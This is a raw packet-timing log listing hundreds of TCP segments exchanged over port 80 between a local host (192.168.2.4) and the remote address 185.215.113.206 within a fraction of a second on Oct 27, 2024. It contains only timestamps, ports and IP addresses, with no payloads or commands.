Oct 27, 2024 12:13:27.013206959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.013222933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.013237953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.013245106 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.013254881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.013276100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.013298988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.013310909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.013360977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.013377905 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.013400078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.013415098 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.013432980 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.013448954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.013463020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.013478041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.013483047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.013504982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.013531923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.013648987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.013664961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.013679981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.013684988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.013700008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.013706923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.013727903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.013750076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.013756990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.013766050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.013804913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.013926029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.013941050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.013956070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.013971090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.013983965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.013987064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.013997078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014003038 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.014022112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.014028072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014056921 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014076948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014091015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.014112949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.014127970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.014132977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014142990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.014147043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014158964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.014162064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014177084 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.014184952 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014194012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.014197111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014214039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014236927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014257908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.014379025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.014384985 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014394999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.014410973 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.014415979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014426947 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.014426947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014442921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.014447927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014460087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014473915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.014480114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014509916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.014511108 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014543056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014605045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.014617920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.014640093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.014645100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014656067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.014657021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014672995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014673948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.014695883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014708996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014767885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.014784098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.014800072 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014806032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.014822006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.014830112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014836073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.014842033 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014852047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.014853954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014867067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.014877081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014883041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.014888048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014898062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.014900923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014914036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.014916897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014931917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.014934063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014946938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.014972925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.015069008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.015084028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.015104055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.015109062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.015125990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.015131950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.015147924 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.015161991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.015166998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.015177011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.015192032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.015196085 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.015213013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.015244961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.015399933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.015414953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.015429974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.015445948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.015454054 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.015461922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.015476942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.015480995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.015494108 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.015500069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.015511036 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.015512943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.015531063 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.015549898 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.015639067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.015655041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.015670061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.015687943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.015692949 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.015712976 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.015741110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.058937073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.058970928 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.058995008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.059005976 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.059019089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.059051991 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.130325079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.130342007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.130357027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.130414963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.130414963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.130429983 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.130445004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.130445004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.130470037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.130470991 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.130495071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.130497932 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.130511045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.130526066 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.130526066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.130537987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.130553007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.130569935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.130573988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.130585909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.130601883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.130604982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.130616903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.130623102 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.130634069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.130636930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.130656004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.130676031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.130790949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.130806923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.130821943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.130837917 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.130850077 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.130880117 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.130971909 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.130986929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.131002903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.131019115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.131021976 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.131041050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.131071091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.131150961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.131165028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.131180048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.131195068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.131202936 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.131215096 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.131216049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.131239891 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.131268978 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.131304026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.131330967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.131356001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.131371975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.131380081 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.131386995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.131405115 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.131409883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.131426096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.131459951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.131633997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.131649017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.131664991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.131675959 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.131680965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.131690025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.131697893 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.131719112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.131719112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.131732941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.131799936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.131814003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.131829023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.131844997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.131860018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.131879091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.131894112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.132024050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.132040024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.132054090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.132069111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.132070065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.132081032 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.132086992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.132096052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.132105112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.132110119 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.132128954 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.132150888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.132235050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.132256031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.132271051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.132275105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.132294893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.132318020 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.132406950 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.132421970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.132436991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.132452011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.132458925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.132468939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.132483959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.132493973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.132499933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.132505894 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.132517099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.132531881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.132536888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.132560015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.132587910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.132723093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.132756948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.132772923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.132792950 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.132878065 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.132911921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.132942915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.132945061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.132971048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.132978916 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.133025885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.133029938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.133060932 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.133074999 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.133104086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.133143902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.133177042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.133212090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.133228064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.133261919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.133265018 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.133296967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.133312941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.133330107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.133344889 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.133363962 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.133375883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.133399963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.133409977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.133436918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.133440971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.133469105 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.133481979 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.133503914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.133508921 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.133538008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.133547068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.133570910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.133579016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.133605003 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.133625031 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.133640051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.133649111 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.133672953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.133687973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.133716106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.133718967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.133759975 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.133766890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.133800030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.133806944 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.133835077 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.133841991 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.133868933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.133882999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.133910894 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.133918047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.133932114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.133950949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.133970022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.133985996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.133995056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.134022951 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.134105921 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.134105921 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.134334087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.134366989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.134402990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.134418964 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.134435892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.134448051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.134469986 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.134502888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.134519100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.134536982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.134548903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.134571075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.134583950 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.134604931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.134613037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.134639025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.134671926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.134682894 CET	49730	80	192.168.2.4	185.215.113.206
Oct 27, 2024 12:13:27.134706020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 27, 2024 12:13:27.134711981 CET	49730	80	192.168.2.4	185.215.113.206
